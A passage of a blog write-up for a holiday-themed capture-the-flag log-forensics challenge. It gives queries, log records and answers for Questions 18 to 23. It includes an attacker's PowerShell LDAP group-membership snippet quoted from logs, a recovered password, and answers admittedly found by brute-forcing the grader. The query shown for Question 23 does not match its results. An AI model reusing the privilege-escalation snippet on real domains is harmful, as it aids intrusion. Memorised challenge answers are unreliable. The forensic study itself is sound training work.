class=&#34;variable&#34;&gt;$sid&lt;/span&gt;=&lt;span class=&#34;variable&#34;&gt;$user&lt;/span&gt;.Translate([System.Security.Principal.SecurityIdentifier])\n&lt;span class=&#34;variable&#34;&gt;$b&lt;/span&gt;=New-Object byte[] &lt;span class=&#34;variable&#34;&gt;$sid&lt;/span&gt;.BinaryLength\n&lt;span class=&#34;variable&#34;&gt;$sid&lt;/span&gt;.GetBinaryForm(&lt;span class=&#34;variable&#34;&gt;$b&lt;/span&gt;,0)\n&lt;span class=&#34;variable&#34;&gt;$hexSID&lt;/span&gt;=[BitConverter]::ToString(&lt;span class=&#34;variable&#34;&gt;$b&lt;/span&gt;).Replace(&amp;#x27;-&amp;#x27;,&amp;#x27;&amp;#x27;)\n&lt;span class=&#34;variable&#34;&gt;$domainDirEntry&lt;/span&gt;.Add(\&amp;quot;LDAP://&amp;lt;SID=&lt;span class=&#34;variable&#34;&gt;$hexSID&lt;/span&gt;&amp;gt;\&amp;quot;)\n&lt;span class=&#34;variable&#34;&gt;$domainDirEntry&lt;/span&gt;.CommitChanges()\n&lt;span class=&#34;variable&#34;&gt;$domainDirEntry&lt;/span&gt;.dispose()&amp;quot;&lt;/span&gt;, &lt;span class=&#34;string&#34;&gt;&amp;quot;ScriptBlockId&amp;quot;&lt;/span&gt;: &lt;span class=&#34;string&#34;&gt;&amp;quot;&amp;#123;01bbe2da-58c3-4490-aa52-682dbae233a3&amp;#125;&amp;quot;&lt;/span&gt;, &lt;span class=&#34;string&#34;&gt;&amp;quot;Path&amp;quot;&lt;/span&gt;: &lt;span class=&#34;string&#34;&gt;&amp;quot;&amp;quot;&lt;/span&gt;, &lt;span class=&#34;string&#34;&gt;&amp;quot;Provider_Name&amp;quot;&lt;/span&gt;: &lt;span class=&#34;string&#34;&gt;&amp;quot;Microsoft-Windows-PowerShell&amp;quot;&lt;/span&gt;, &lt;span class=&#34;string&#34;&gt;&amp;quot;Provider_Guid&amp;quot;&lt;/span&gt;: &lt;span class=&#34;string&#34;&gt;&amp;quot;&amp;#123;a0c1853b-5c40-4b15-8766-3cf1c58f985a&amp;#125;&amp;quot;&lt;/span&gt;, &lt;span class=&#34;string&#34;&gt;&amp;quot;EventID&amp;quot;&lt;/span&gt;: 4104, &lt;span class=&#34;string&#34;&gt;&amp;quot;Version&amp;quot;&lt;/span&gt;: 1, &lt;span class=&#34;string&#34;&gt;&amp;quot;Level&amp;quot;&lt;/span&gt;: 5, &lt;span class=&#34;string&#34;&gt;&amp;quot;Task&amp;quot;&lt;/span&gt;: 2, &lt;span class=&#34;string&#34;&gt;&amp;quot;Opcode&amp;quot;&lt;/span&gt;: 15, &lt;span class=&#34;string&#34;&gt;&amp;quot;Keywords&amp;quot;&lt;/span&gt;: &lt;span class=&#34;string&#34;&gt;&amp;quot;0x0&amp;quot;&lt;/span&gt;, &lt;span class=&#34;string&#34;&gt;&amp;quot;TimeCreated_SystemTime&amp;quot;&lt;/span&gt;: &lt;span class=&#34;string&#34;&gt;&amp;quot;2024-09-16T11:33:12-04:00&amp;quot;&lt;/span&gt;, &lt;span class=&#34;string&#34;&gt;&amp;quot;EventRecordID&amp;quot;&lt;/span&gt;: 54059, &lt;span class=&#34;string&#34;&gt;&amp;quot;Correlation_ActivityID&amp;quot;&lt;/span&gt;: &lt;span class=&#34;string&#34;&gt;&amp;quot;&amp;#123;17aa0df9-5d3d-46e9-bce0-55b7a5be4b43&amp;#125;&amp;quot;&lt;/span&gt;, &lt;span class=&#34;string&#34;&gt;&amp;quot;ParentProcessID&amp;quot;&lt;/span&gt;: 928, &lt;span class=&#34;string&#34;&gt;&amp;quot;ThreadID&amp;quot;&lt;/span&gt;: 4896, &lt;span class=&#34;string&#34;&gt;&amp;quot;Channel&amp;quot;&lt;/span&gt;: &lt;span class=&#34;string&#34;&gt;&amp;quot;Microsoft-Windows-PowerShell/Operational&amp;quot;&lt;/span&gt;, &lt;span class=&#34;string&#34;&gt;&amp;quot;Computer&amp;quot;&lt;/span&gt;: &lt;span class=&#34;string&#34;&gt;&amp;quot;SleighRider.northpole.local&amp;quot;&lt;/span&gt;, &lt;span class=&#34;string&#34;&gt;&amp;quot;Security_UserID&amp;quot;&lt;/span&gt;: &lt;span class=&#34;string&#34;&gt;&amp;quot;S-1-5-21-3699322559-1991583901-1175093138-1110&amp;quot;&lt;/span&gt;&amp;#125;&lt;/span&gt;&lt;br&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;&lt;/figure&gt;

&lt;p&gt;&lt;strong&gt;ANSWER:&lt;/strong&gt; In the command Issued we can observe the password &lt;code&gt;fR0s3nF1@k3_s&lt;/code&gt;&lt;/p&gt;
&lt;h3 id=&#34;Question-19-The-attacker-then-used-remote-desktop-to-remotely-access-one-of-our-domain-computers-What-is-the-full-ISO8601-compliant-UTC-EventTime-when-they-established-this-connection&#34;&gt;&lt;a href=&#34;#Question-19-The-attacker-then-used-remote-desktop-to-remotely-access-one-of-our-domain-computers-What-is-the-full-ISO8601-compliant-UTC-EventTime-when-they-established-this-connection&#34; class=&#34;headerlink&#34; title=&#34;Question 19: The attacker then used remote desktop to remotely access one of our domain computers. What is the full ISO8601 compliant UTC EventTime when they established this connection?&#34;&gt;&lt;/a&gt;Question 19: The attacker then used remote desktop to remotely access one of our domain computers. What is the full ISO8601 compliant UTC EventTime when they established this connection?&lt;/h3&gt;&lt;p&gt;&lt;strong&gt;QUERY:&lt;/strong&gt;&lt;/p&gt;
&lt;figure class=&#34;highlight sql&#34;&gt;&lt;table&gt;&lt;tr&gt;&lt;td class=&#34;gutter&#34;&gt;&lt;pre&gt;&lt;span class=&#34;line&#34;&gt;1&lt;/span&gt;&lt;br&gt;&lt;span class=&#34;line&#34;&gt;2&lt;/span&gt;&lt;br&gt;&lt;span class=&#34;line&#34;&gt;3&lt;/span&gt;&lt;br&gt;&lt;/pre&gt;&lt;/td&gt;&lt;td class=&#34;code&#34;&gt;&lt;pre&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;keyword&#34;&gt;FROM&lt;/span&gt; &lt;span class=&#34;operator&#34;&gt;*&lt;/span&gt;&lt;/span&gt;&lt;br&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;operator&#34;&gt;|&lt;/span&gt; &lt;span class=&#34;keyword&#34;&gt;WHERE&lt;/span&gt; event.EventID &lt;span class=&#34;operator&#34;&gt;=&lt;/span&gt;&lt;span class=&#34;operator&#34;&gt;=&lt;/span&gt; &lt;span class=&#34;number&#34;&gt;4624&lt;/span&gt; &lt;span class=&#34;keyword&#34;&gt;AND&lt;/span&gt; event.LogonType &lt;span class=&#34;operator&#34;&gt;=&lt;/span&gt;&lt;span class=&#34;operator&#34;&gt;=&lt;/span&gt; &lt;span class=&#34;number&#34;&gt;10&lt;/span&gt;&lt;/span&gt;&lt;br&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;operator&#34;&gt;|&lt;/span&gt; KEEP event.EventTime&lt;/span&gt;&lt;br&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;&lt;/figure&gt;

&lt;p&gt;&lt;strong&gt;RESULTS:&lt;/strong&gt;&lt;/p&gt;
&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;event.EventTime&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;&lt;tr&gt;
&lt;td&gt;2024-09-16T15:35:57.000Z&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;&lt;/table&gt;
&lt;p&gt;&lt;strong&gt;ANSWER:&lt;/strong&gt; Investigating RDP logins we can find just one event with timestamp &lt;code&gt;2024-09-16T15:35:57.000Z&lt;/code&gt;&lt;/p&gt;
&lt;h3 id=&#34;Question-20-The-attacker-is-trying-to-create-their-own-naughty-and-nice-list-What-is-the-full-file-path-they-created-using-their-remote-desktop-connection&#34;&gt;&lt;a href=&#34;#Question-20-The-attacker-is-trying-to-create-their-own-naughty-and-nice-list-What-is-the-full-file-path-they-created-using-their-remote-desktop-connection&#34; class=&#34;headerlink&#34; title=&#34;Question 20: The attacker is trying to create their own naughty and nice list! What is the full file path they created using their remote desktop connection?&#34;&gt;&lt;/a&gt;Question 20: The attacker is trying to create their own naughty and nice list! What is the full file path they created using their remote desktop connection?&lt;/h3&gt;&lt;p&gt;&lt;strong&gt;QUERY:&lt;/strong&gt;&lt;br&gt;I used &lt;code&gt;grep&lt;/code&gt; as it’s easier for free text search:&lt;/p&gt;
&lt;figure class=&#34;highlight bash&#34;&gt;&lt;table&gt;&lt;tr&gt;&lt;td class=&#34;gutter&#34;&gt;&lt;pre&gt;&lt;span class=&#34;line&#34;&gt;1&lt;/span&gt;&lt;br&gt;&lt;/pre&gt;&lt;/td&gt;&lt;td class=&#34;code&#34;&gt;&lt;pre&gt;&lt;span class=&#34;line&#34;&gt;grep -i fake log_chunk_complete.log&lt;/span&gt;&lt;br&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;&lt;/figure&gt;

&lt;p&gt;&lt;strong&gt;RESULTS:&lt;/strong&gt;&lt;/p&gt;
&lt;figure class=&#34;highlight bash&#34;&gt;&lt;table&gt;&lt;tr&gt;&lt;td class=&#34;gutter&#34;&gt;&lt;pre&gt;&lt;span class=&#34;line&#34;&gt;1&lt;/span&gt;&lt;br&gt;&lt;/pre&gt;&lt;/td&gt;&lt;td class=&#34;code&#34;&gt;&lt;pre&gt;&lt;span class=&#34;line&#34;&gt;&amp;lt;134&amp;gt;1 2024-09-16T11:36:28-04:00 dc01.northpole.local WindowsEvent - - - &amp;#123;&lt;span class=&#34;string&#34;&gt;&amp;quot;EventTime&amp;quot;&lt;/span&gt;: &lt;span class=&#34;string&#34;&gt;&amp;quot;2024-09-16 11:36:28&amp;quot;&lt;/span&gt;, &lt;span class=&#34;string&#34;&gt;&amp;quot;Hostname&amp;quot;&lt;/span&gt;: &lt;span class=&#34;string&#34;&gt;&amp;quot;dc01.northpole.local&amp;quot;&lt;/span&gt;, &lt;span class=&#34;string&#34;&gt;&amp;quot;Keywords&amp;quot;&lt;/span&gt;: -9223372036854775808, &lt;span class=&#34;string&#34;&gt;&amp;quot;EventType&amp;quot;&lt;/span&gt;: &lt;span class=&#34;string&#34;&gt;&amp;quot;INFO&amp;quot;&lt;/span&gt;, &lt;span class=&#34;string&#34;&gt;&amp;quot;SeverityValue&amp;quot;&lt;/span&gt;: 2, &lt;span class=&#34;string&#34;&gt;&amp;quot;Severity&amp;quot;&lt;/span&gt;: &lt;span class=&#34;string&#34;&gt;&amp;quot;INFO&amp;quot;&lt;/span&gt;, &lt;span class=&#34;string&#34;&gt;&amp;quot;EventID&amp;quot;&lt;/span&gt;: 1, &lt;span class=&#34;string&#34;&gt;&amp;quot;SourceName&amp;quot;&lt;/span&gt;: &lt;span class=&#34;string&#34;&gt;&amp;quot;Microsoft-Windows-Sysmon&amp;quot;&lt;/span&gt;, &lt;span class=&#34;string&#34;&gt;&amp;quot;ProviderGuid&amp;quot;&lt;/span&gt;: &lt;span class=&#34;string&#34;&gt;&amp;quot;&amp;#123;5770385F-C22A-43E0-BF4C-06F5698FFBD9&amp;#125;&amp;quot;&lt;/span&gt;, &lt;span class=&#34;string&#34;&gt;&amp;quot;Version&amp;quot;&lt;/span&gt;: 5, &lt;span class=&#34;string&#34;&gt;&amp;quot;Task&amp;quot;&lt;/span&gt;: 1, &lt;span class=&#34;string&#34;&gt;&amp;quot;OpcodeValue&amp;quot;&lt;/span&gt;: 0, &lt;span class=&#34;string&#34;&gt;&amp;quot;RecordNumber&amp;quot;&lt;/span&gt;: 641, &lt;span class=&#34;string&#34;&gt;&amp;quot;ProcessID&amp;quot;&lt;/span&gt;: 6468, &lt;span class=&#34;string&#34;&gt;&amp;quot;ThreadID&amp;quot;&lt;/span&gt;: 4816, &lt;span class=&#34;string&#34;&gt;&amp;quot;Channel&amp;quot;&lt;/span&gt;: &lt;span class=&#34;string&#34;&gt;&amp;quot;Microsoft-Windows-Sysmon/Operational&amp;quot;&lt;/span&gt;, &lt;span class=&#34;string&#34;&gt;&amp;quot;Domain&amp;quot;&lt;/span&gt;: &lt;span class=&#34;string&#34;&gt;&amp;quot;NT AUTHORITY&amp;quot;&lt;/span&gt;, &lt;span class=&#34;string&#34;&gt;&amp;quot;AccountName&amp;quot;&lt;/span&gt;: &lt;span class=&#34;string&#34;&gt;&amp;quot;SYSTEM&amp;quot;&lt;/span&gt;, &lt;span class=&#34;string&#34;&gt;&amp;quot;UserID&amp;quot;&lt;/span&gt;: &lt;span class=&#34;string&#34;&gt;&amp;quot;S-1-5-18&amp;quot;&lt;/span&gt;, &lt;span class=&#34;string&#34;&gt;&amp;quot;AccountType&amp;quot;&lt;/span&gt;: &lt;span class=&#34;string&#34;&gt;&amp;quot;User&amp;quot;&lt;/span&gt;, &lt;span class=&#34;string&#34;&gt;&amp;quot;Category&amp;quot;&lt;/span&gt;: &lt;span class=&#34;string&#34;&gt;&amp;quot;Process Create (rule: ProcessCreate)&amp;quot;&lt;/span&gt;, &lt;span class=&#34;string&#34;&gt;&amp;quot;Opcode&amp;quot;&lt;/span&gt;: &lt;span class=&#34;string&#34;&gt;&amp;quot;Info&amp;quot;&lt;/span&gt;, &lt;span class=&#34;string&#34;&gt;&amp;quot;RuleName&amp;quot;&lt;/span&gt;: &lt;span class=&#34;string&#34;&gt;&amp;quot;-&amp;quot;&lt;/span&gt;, &lt;span class=&#34;string&#34;&gt;&amp;quot;UtcTime&amp;quot;&lt;/span&gt;: &lt;span class=&#34;string&#34;&gt;&amp;quot;2024-09-16T11:36:28-04:00&amp;quot;&lt;/span&gt;, &lt;span class=&#34;string&#34;&gt;&amp;quot;ProcessGuid&amp;quot;&lt;/span&gt;: &lt;span class=&#34;string&#34;&gt;&amp;quot;&amp;#123;f151dc49-502c-660c-8702-000000000900&amp;#125;&amp;quot;&lt;/span&gt;, &lt;span class=&#34;string&#34;&gt;&amp;quot;Image&amp;quot;&lt;/span&gt;: &lt;span class=&#34;string&#34;&gt;&amp;quot;C:\\Windows\\System32\\notepad.exe&amp;quot;&lt;/span&gt;, &lt;span class=&#34;string&#34;&gt;&amp;quot;FileVersion&amp;quot;&lt;/span&gt;: &lt;span class=&#34;string&#34;&gt;&amp;quot;10.0.17763.1697 (WinBuild.160101.0800)&amp;quot;&lt;/span&gt;, &lt;span class=&#34;string&#34;&gt;&amp;quot;Description&amp;quot;&lt;/span&gt;: &lt;span class=&#34;string&#34;&gt;&amp;quot;Notepad&amp;quot;&lt;/span&gt;, &lt;span class=&#34;string&#34;&gt;&amp;quot;Product&amp;quot;&lt;/span&gt;: &lt;span class=&#34;string&#34;&gt;&amp;quot;Microsoft\u00ae Windows\u00ae Operating System&amp;quot;&lt;/span&gt;, &lt;span class=&#34;string&#34;&gt;&amp;quot;Company&amp;quot;&lt;/span&gt;: &lt;span class=&#34;string&#34;&gt;&amp;quot;Microsoft Corporation&amp;quot;&lt;/span&gt;, &lt;span class=&#34;string&#34;&gt;&amp;quot;OriginalFileName&amp;quot;&lt;/span&gt;: &lt;span class=&#34;string&#34;&gt;&amp;quot;NOTEPAD.EXE&amp;quot;&lt;/span&gt;, &lt;span class=&#34;string&#34;&gt;&amp;quot;CommandLine&amp;quot;&lt;/span&gt;: &lt;span class=&#34;string&#34;&gt;&amp;quot;\&amp;quot;C:\\Windows\\system32\\NOTEPAD.EXE\&amp;quot; C:\\WishLists\\santadms_only\\its_my_fakelst.txt&amp;quot;&lt;/span&gt;, &lt;span class=&#34;string&#34;&gt;&amp;quot;CurrentDirectory&amp;quot;&lt;/span&gt;: &lt;span class=&#34;string&#34;&gt;&amp;quot;C:\\WishLists\\santadms_only\\&amp;quot;&lt;/span&gt;, &lt;span class=&#34;string&#34;&gt;&amp;quot;User&amp;quot;&lt;/span&gt;: &lt;span class=&#34;string&#34;&gt;&amp;quot;NORTHPOLE\\nutcrakr&amp;quot;&lt;/span&gt;, &lt;span class=&#34;string&#34;&gt;&amp;quot;LogonGuid&amp;quot;&lt;/span&gt;: &lt;span class=&#34;string&#34;&gt;&amp;quot;&amp;#123;f151dc49-500d-660c-5e42-dd0000000000&amp;#125;&amp;quot;&lt;/span&gt;, &lt;span class=&#34;string&#34;&gt;&amp;quot;LogonId&amp;quot;&lt;/span&gt;: &lt;span class=&#34;string&#34;&gt;&amp;quot;0xdd425e&amp;quot;&lt;/span&gt;, &lt;span class=&#34;string&#34;&gt;&amp;quot;TerminalSessionId&amp;quot;&lt;/span&gt;: 2, &lt;span class=&#34;string&#34;&gt;&amp;quot;IntegrityLevel&amp;quot;&lt;/span&gt;: &lt;span class=&#34;string&#34;&gt;&amp;quot;Medium&amp;quot;&lt;/span&gt;, &lt;span class=&#34;string&#34;&gt;&amp;quot;Hashes&amp;quot;&lt;/span&gt;: &lt;span class=&#34;string&#34;&gt;&amp;quot;MD5=5394096A1CEBF81AF24E993777CAABF4,SHA256=A28438E1388F272A52559536D99D65BA15B1A8288BE1200E249851FDF7EE6C7E,IMPHASH=C8922BE3DCDFEB5994C9EEE7745DC22E&amp;quot;&lt;/span&gt;, &lt;span class=&#34;string&#34;&gt;&amp;quot;ParentProcessGuid&amp;quot;&lt;/span&gt;: &lt;span class=&#34;string&#34;&gt;&amp;quot;&amp;#123;f151dc49-500f-660c-5902-000000000900&amp;#125;&amp;quot;&lt;/span&gt;, &lt;span class=&#34;string&#34;&gt;&amp;quot;ParentProcessId&amp;quot;&lt;/span&gt;: 1364, &lt;span class=&#34;string&#34;&gt;&amp;quot;ParentImage&amp;quot;&lt;/span&gt;: &lt;span class=&#34;string&#34;&gt;&amp;quot;C:\\Windows\\explorer.exe&amp;quot;&lt;/span&gt;, &lt;span class=&#34;string&#34;&gt;&amp;quot;ParentCommandLine&amp;quot;&lt;/span&gt;: &lt;span class=&#34;string&#34;&gt;&amp;quot;C:\\Windows\\Explorer.EXE&amp;quot;&lt;/span&gt;, &lt;span class=&#34;string&#34;&gt;&amp;quot;ParentUser&amp;quot;&lt;/span&gt;: &lt;span class=&#34;string&#34;&gt;&amp;quot;NORTHPOLE\\nutcrakr&amp;quot;&lt;/span&gt;, &lt;span class=&#34;string&#34;&gt;&amp;quot;EventReceivedTime&amp;quot;&lt;/span&gt;: &lt;span class=&#34;string&#34;&gt;&amp;quot;2024-09-16T11:36:28-04:00&amp;quot;&lt;/span&gt;, &lt;span class=&#34;string&#34;&gt;&amp;quot;SourceModuleName&amp;quot;&lt;/span&gt;: &lt;span class=&#34;string&#34;&gt;&amp;quot;inSysmon&amp;quot;&lt;/span&gt;, &lt;span class=&#34;string&#34;&gt;&amp;quot;SourceModuleType&amp;quot;&lt;/span&gt;: &lt;span class=&#34;string&#34;&gt;&amp;quot;im_msvistalog&amp;quot;&lt;/span&gt;, &lt;span class=&#34;string&#34;&gt;&amp;quot;ProcessId&amp;quot;&lt;/span&gt;: 9152, &lt;span class=&#34;string&#34;&gt;&amp;quot;MoreDetails&amp;quot;&lt;/span&gt;: &lt;span class=&#34;string&#34;&gt;&amp;quot;Process Create:&amp;quot;&lt;/span&gt;&amp;#125;&lt;/span&gt;&lt;br&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;&lt;/figure&gt;

&lt;p&gt;&lt;strong&gt;ANSWER:&lt;/strong&gt; I don’t know why I thought the keyword “fake” was relevant but turns out it actually led to the file the attacker was trying to create: &lt;code&gt;C:\WishLists\santadms_only\its_my_fakelst.txt&lt;/code&gt;.&lt;/p&gt;
&lt;h3 id=&#34;Question-21-The-Wombley-faction-has-user-accounts-in-our-environment-How-many-unique-Wombley-faction-users-sent-an-email-message-within-the-domain&#34;&gt;&lt;a href=&#34;#Question-21-The-Wombley-faction-has-user-accounts-in-our-environment-How-many-unique-Wombley-faction-users-sent-an-email-message-within-the-domain&#34; class=&#34;headerlink&#34; title=&#34;Question 21: The Wombley faction has user accounts in our environment. How many unique Wombley faction users sent an email message within the domain?&#34;&gt;&lt;/a&gt;Question 21: The Wombley faction has user accounts in our environment. How many unique Wombley faction users sent an email message within the domain?&lt;/h3&gt;&lt;p&gt;By now I was quite tired of querying out stuff so I started reusing my bruteforce script from question 14 :)&lt;br&gt;For this question I just used all numbers from 0 to 100 as dict :)&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;ANSWER:&lt;/strong&gt; 4&lt;/p&gt;
&lt;h3 id=&#34;Question-22-The-Alabaster-faction-also-has-some-user-accounts-in-our-environment-How-many-emails-were-sent-by-the-Alabaster-users-to-the-Wombley-faction-users&#34;&gt;&lt;a href=&#34;#Question-22-The-Alabaster-faction-also-has-some-user-accounts-in-our-environment-How-many-emails-were-sent-by-the-Alabaster-users-to-the-Wombley-faction-users&#34; class=&#34;headerlink&#34; title=&#34;Question 22: The Alabaster faction also has some user accounts in our environment. How many emails were sent by the Alabaster users to the Wombley faction users?&#34;&gt;&lt;/a&gt;Question 22: The Alabaster faction also has some user accounts in our environment. How many emails were sent by the Alabaster users to the Wombley faction users?&lt;/h3&gt;&lt;p&gt;Ehm…also this I didn’t see why not trying bruteforce it… Same logic of the previous question :)&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;ANSWER:&lt;/strong&gt; 22&lt;/p&gt;
&lt;h3 id=&#34;Question-23-Of-all-the-reindeer-there-are-only-nine-What’s-the-full-domain-for-the-one-whose-nose-does-glow-and-shine-To-help-you-narrow-your-search-search-the-events-in-the-‘SnowGlowMailPxy’-event-source&#34;&gt;&lt;a href=&#34;#Question-23-Of-all-the-reindeer-there-are-only-nine-What’s-the-full-domain-for-the-one-whose-nose-does-glow-and-shine-To-help-you-narrow-your-search-search-the-events-in-the-‘SnowGlowMailPxy’-event-source&#34; class=&#34;headerlink&#34; title=&#34;Question 23: Of all the reindeer, there are only nine. What’s the full domain for the one whose nose does glow and shine? To help you narrow your search, search the events in the ‘SnowGlowMailPxy’ event source.&#34;&gt;&lt;/a&gt;Question 23: Of all the reindeer, there are only nine. What’s the full domain for the one whose nose does glow and shine? To help you narrow your search, search the events in the ‘SnowGlowMailPxy’ event source.&lt;/h3&gt;&lt;p&gt;&lt;strong&gt;QUERY:&lt;/strong&gt;&lt;/p&gt;
&lt;figure class=&#34;highlight sql&#34;&gt;&lt;table&gt;&lt;tr&gt;&lt;td class=&#34;gutter&#34;&gt;&lt;pre&gt;&lt;span class=&#34;line&#34;&gt;1&lt;/span&gt;&lt;br&gt;&lt;span class=&#34;line&#34;&gt;2&lt;/span&gt;&lt;br&gt;&lt;span class=&#34;line&#34;&gt;3&lt;/span&gt;&lt;br&gt;&lt;/pre&gt;&lt;/td&gt;&lt;td class=&#34;code&#34;&gt;&lt;pre&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;keyword&#34;&gt;FROM&lt;/span&gt; &lt;span class=&#34;operator&#34;&gt;*&lt;/span&gt;&lt;/span&gt;&lt;br&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;operator&#34;&gt;|&lt;/span&gt; &lt;span class=&#34;keyword&#34;&gt;WHERE&lt;/span&gt; event.EventID &lt;span class=&#34;operator&#34;&gt;=&lt;/span&gt;&lt;span class=&#34;operator&#34;&gt;=&lt;/span&gt; &lt;span class=&#34;number&#34;&gt;4624&lt;/span&gt; &lt;span class=&#34;keyword&#34;&gt;AND&lt;/span&gt; event.LogonType &lt;span class=&#34;operator&#34;&gt;=&lt;/span&gt;&lt;span class=&#34;operator&#34;&gt;=&lt;/span&gt; &lt;span class=&#34;number&#34;&gt;10&lt;/span&gt;&lt;/span&gt;&lt;br&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;operator&#34;&gt;|&lt;/span&gt; KEEP event.EventTime&lt;/span&gt;&lt;br&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;&lt;/figure&gt;

&lt;p&gt;&lt;strong&gt;RESULTS:&lt;/strong&gt;&lt;/p&gt;
&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;COUNT()&lt;/th&gt;
&lt;th&gt;domain&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;&lt;tr&gt;
&lt;td&gt;17&lt;/td&gt;
&lt;td&gt;bells.ring&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;20&lt;/td&gt;
&lt;td&gt;wreath.maker&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;720&lt;/td&gt;
&lt;td&gt;northpole.local&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;24&lt;/td&gt;
&lt;td&gt;twinkle.light&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;20&lt;/td&gt;
&lt;td&gt;snowflakekingdom.chill&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;21&lt;/td&gt;
&lt;td&gt;wicked.snow&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;21&lt;/td&gt;
&lt;td&gt;nogfest.eggnog&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;18&lt;/td&gt;
&lt;td&gt;reindeers.fly&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;19&lt;/td&gt;
&lt;td&gt;rud01ph.glow&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;16&lt;/td&gt;
&lt;td&gt;gingerlane.dancer&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;22&lt;/td&gt;
&lt;td&gt;candycane.factory&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;13&lt;/td&gt;
&lt;td&gt;icicle.light&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;19&lt;/td&gt;
&lt;td&gt;blizzard.north&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;16&lt;/td&gt;
&lt;td&gt;santa.hut&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;16&lt;/td&gt;
&lt;td&gt;nutcracker.tale&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;16&lt;/td&gt;
&lt;td&gt;snowflake.spark&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;16&lt;/td&gt;
&lt;td&gt;snowdrift.globe&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;19&lt;/td&gt;
&lt;td&gt;merry.elves&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;12&lt;/td&gt;
&lt;td&gt;holly.jolly&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;18&lt;/td&gt;
&lt;td&gt;northstar.nibbles&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;20&lt;/td&gt;
&lt;td&gt;sleigh.ride&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;14&lt;/td&gt;
&lt;td&gt;yule.log&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;16&lt;/td&gt;
&lt;td&gt;mistlebranch.vixen&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;21&lt;/td&gt;
&lt;td&gt;evergreen.tree&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;20&lt;/td&gt;
&lt;td&gt;pine.tree&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;16&lt;/td&gt;
&lt;td&gt;tinsel.town&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;15&lt;/td&gt;
&lt;td&gt;gingerbread.house&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;21&lt;/td&gt;
&lt;td&gt;ginger.snap&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;17&lt;/td&gt;
&lt;td&gt;toytinkers.land&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;14&lt;/td&gt;
&lt;td&gt;jolly.jingle&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;20&lt;/td&gt;
&lt;td&gt;cheery.fireplace&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;15&lt;/td&gt;
&lt;td&gt;starlight.tree&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;11&lt;/td&gt;
&lt;td&gt;frosty.north&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;7&lt;/td&gt;
&lt;td&gt;reindeer.corral&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;20&lt;/td&gt;
&lt;td&gt;c0m3t.halleys&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;6&lt;/td&gt;
&lt;td&gt;elf.toyshop&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;21&lt;/td&gt;
&lt;td&gt;stocking.chimney&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;16&lt;/td&gt;
&lt;td&gt;twilight.star&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;19&lt;/td&gt;
&lt;td&gt;pr4nc3r.trot&lt;/td&gt;
&lt;/tr&gt;
